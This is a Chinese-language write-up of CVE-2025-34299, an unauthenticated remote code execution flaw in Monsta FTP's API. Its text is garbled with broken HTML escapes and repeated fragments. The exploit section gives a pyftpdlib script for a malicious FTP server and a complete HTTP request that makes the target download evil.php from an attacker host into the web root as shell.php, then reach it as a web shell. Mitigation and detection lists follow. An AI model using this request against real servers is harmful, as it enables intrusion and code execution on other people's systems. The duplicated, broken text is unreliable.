Monsta FTP CVE-2025-34299 RCE 漏洞分析与利用<\/h1>

漏洞概述<\/h2>
CVE-2025-34299 是 Monsta FTP 中存在的一个远程代码执行漏洞，攻击者可通过构造恶意请求实现任意文件下载，进而获取服务器权限。<\/p>

环境要求<\/h2>

Monsta FTP 受影响版本<\/li>

攻击机需要能够访问目标服务器的 FTP 服务和 Web 接口<\/li> <\/ul>

漏洞分析<\/h2>

入口点<\/h3>
漏洞入口位于 `application\/api\/api.php<\/code>，该文件处理传入的 HTTP 请求参数。<\/p>`

请求处理流程<\/h3>

根据 request<\/code> 参数中的 actionName<\/code> 值，调用 \RequestMarshaller::marshallRequest<\/code> 方法<\/li>
经过几个特殊方法处理后，进入 \RequestDispatcher::dispatchRequest<\/code> 方法<\/li>
攻击者可控的 actionName<\/code> 参数可指定为 downloadFile<\/code> 方法<\/li>
<\/ol>
关键代码分析<\/h3>
RequestDispatcher::downloadFile 方法<\/h4>
public<\/span> function<\/span> downloadFile<\/span>() {
<\/span><\/span>    $this-><\/span>connectAndAuthenticate<\/span>(); \/\/ 此处为 FTP 认证，非 Web 鉴权
<\/span><\/span><\/span><\/span>    \/\/ 后续执行文件下载操作
<\/span><\/span><\/span><\/span>}
<\/span><\/span><\/code><\/pre>FTPConnection::handleDownloadFile 方法<\/h4>
public<\/span> function<\/span> handleDownloadFile<\/span>() {
<\/span><\/span>    \/\/ 使用 @ftp_get 函数进行文件下载操作
<\/span><\/span><\/span><\/span>    @<\/span>ftp_get<\/span>($this-><\/span>connection<\/span>, $localFile, $remoteFile, FTP_BINARY<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>漏洞利用步骤<\/h2>
第一步：搭建恶意 FTP 服务器<\/h3>
创建 evilftp.py<\/code> 脚本，设置 FTP 服务器并放置恶意 PHP 文件：<\/p>
# evilftp.py 示例代码框架<\/span>
<\/span><\/span>from<\/span> pyftpdlib.authorizers import<\/span> DummyAuthorizer
<\/span><\/span>from<\/span> pyftpdlib.handlers import<\/span> FTPHandler
<\/span><\/span>from<\/span> pyftpdlib.servers import<\/span> FTPServer
<\/span><\/span>
<\/span><\/span># 设置 FTP 服务器配置<\/span>
<\/span><\/span>authorizer =<\/span> DummyAuthorizer()
<\/span><\/span>authorizer.<\/span>add_anonymous("\/tmp"<\/span>)  # 设置匿名访问目录<\/span>
<\/span><\/span>
<\/span><\/span>handler =<\/span> FTPHandler
<\/span><\/span>handler.<\/span>authorizer =<\/span> authorizer
<\/span><\/span>
<\/span><\/span># 启动 FTP 服务器<\/span>
<\/span><\/span>server =<\/span> FTPServer(("0.0.0.0"<\/span>, 21<\/span>), handler)
<\/span><\/span>server.<\/span>serve_forever()
<\/span><\/span><\/code><\/pre>第二步：构造恶意请求<\/h3>
向目标 Monsta FTP 发送特制 HTTP 请求：<\/p>
POST \/application\/api\/api.php HTTP\/1.1
Host: target-server
Content-Type: application\/x-www-form-urlencoded

request={"actionName":"downloadFile","localPath":"\/var\/www\/html\/shell.php","remotePath":"evil.php","ftpSettings":{"host":"attacker-ip","port":21,"username":"anonymous","password":"","ssl":false}}
<\/code><\/pre>
第三步：执行恶意代码<\/h3>
成功下载恶意 PHP 文件后，通过 Web 访问该文件实现代码执行：<\/p>
http:\/\/target-server\/shell.php
<\/code><\/pre>
防御措施<\/h2>
临时缓解方案<\/h3>

禁用 Monsta FTP 的匿名 FTP 连接功能<\/li>
限制 FTP 服务器只能从可信源接收连接<\/li>
对 application\/api\/api.php<\/code> 文件添加严格的访问控制<\/li>
<\/ol>
根本解决方案<\/h3>

更新到已修复的安全版本<\/li>
实施输入验证和过滤机制<\/li>
对文件下载功能添加路径白名单限制<\/li>
禁用不必要的 API 接口<\/li>
<\/ol>
技术要点总结<\/h2>

漏洞利用链：HTTP API → FTP 下载 → 文件写入 → RCE<\/li>
关键函数：@ftp_get<\/code> 的不安全使用<\/li>
认证绕过：FTP 认证与 Web 认证分离<\/li>
利用条件：需要能够控制 FTP 服务器内容<\/li>
<\/ol>
检测方法<\/h2>

检查服务器是否存在 application\/api\/api.php<\/code> 文件<\/li>
监控异常的 FTP 连接请求<\/li>
审查 Web 日志中是否包含特殊的 actionName<\/code> 参数<\/li>
检查 Web 根目录是否出现可疑的 PHP 文件<\/li>
<\/ol>
参考信息<\/h2>

受影响版本：Monsta FTP 特定版本（需具体确认）<\/li>
CVE 编号：CVE-2025-34299<\/li>
漏洞类型：远程代码执行<\/li>
CVSS 评分：待定（预计高危）<\/li>
<\/ul>

Monsta FTP CVE-2025-34299 RCE 漏洞分析与利用<\/h1>

漏洞概述<\/h2> CVE-2025-34299 是 Monsta FTP 中存在的一个远程代码执行漏洞，攻击者可通过构造恶意请求实现任意文件下载，进而获取服务器权限。<\/p>

漏洞分析<\/h2>

入口点<\/h3> 漏洞入口位于 application\/api\/api.php<\/code>，该文件处理传入的 HTTP 请求参数。<\/p>

关键代码分析<\/h3>

漏洞利用步骤<\/h2>

防御措施<\/h2>

参考信息<\/h2> 受影响版本：Monsta FTP 特定版本（需具体确认）<\/li> CVE 编号：CVE-2025-34299<\/li> 漏洞类型：远程代码执行<\/li> CVSS 评分：待定（预计高危）<\/li> <\/ul>

漏洞概述<\/h2>
CVE-2025-34299 是 Monsta FTP 中存在的一个远程代码执行漏洞，攻击者可通过构造恶意请求实现任意文件下载，进而获取服务器权限。<\/p>

入口点<\/h3>
漏洞入口位于 `application\/api\/api.php<\/code>，该文件处理传入的 HTTP 请求参数。<\/p>`

参考信息<\/h2>

受影响版本：Monsta FTP 特定版本（需具体确认）<\/li>
CVE 编号：CVE-2025-34299<\/li>
漏洞类型：远程代码执行<\/li>
CVSS 评分：待定（预计高危）<\/li> <\/ul>